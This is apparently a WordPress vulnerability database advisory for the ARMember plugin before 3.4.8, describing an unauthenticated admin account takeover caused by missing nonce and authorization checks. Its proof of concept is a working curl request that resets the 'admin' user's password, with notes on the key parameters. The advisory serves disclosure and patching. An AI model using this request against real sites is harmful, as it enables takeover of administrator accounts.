WordPress Plugin Vulnerabilities
ARMember < 3.4.8 - Unauthenticated Admin Account Takeover
Description
The plugin is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username
Proof of Concept
curl 'https://example.com/wp-admin/admin-ajax.php' \ --data 'action=arm_shortcode_form_ajax_action&user_pass=newpassword&repeat_pass=newpassword&arm_action=change-password&key2=x&action2=rp&login2=admin' Notes: + The `login2` parameter corresponds to the username to change the password for (in our case it's the "admin" user) + The `user_pass` and `repeat_pass` correspond to the new password to be set (both fields must be set to the same password)
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
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Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-06-06 (about 1 years ago)
Added
2022-06-06 (about 1 years ago)
Last Updated
2023-03-09 (about 1 years ago)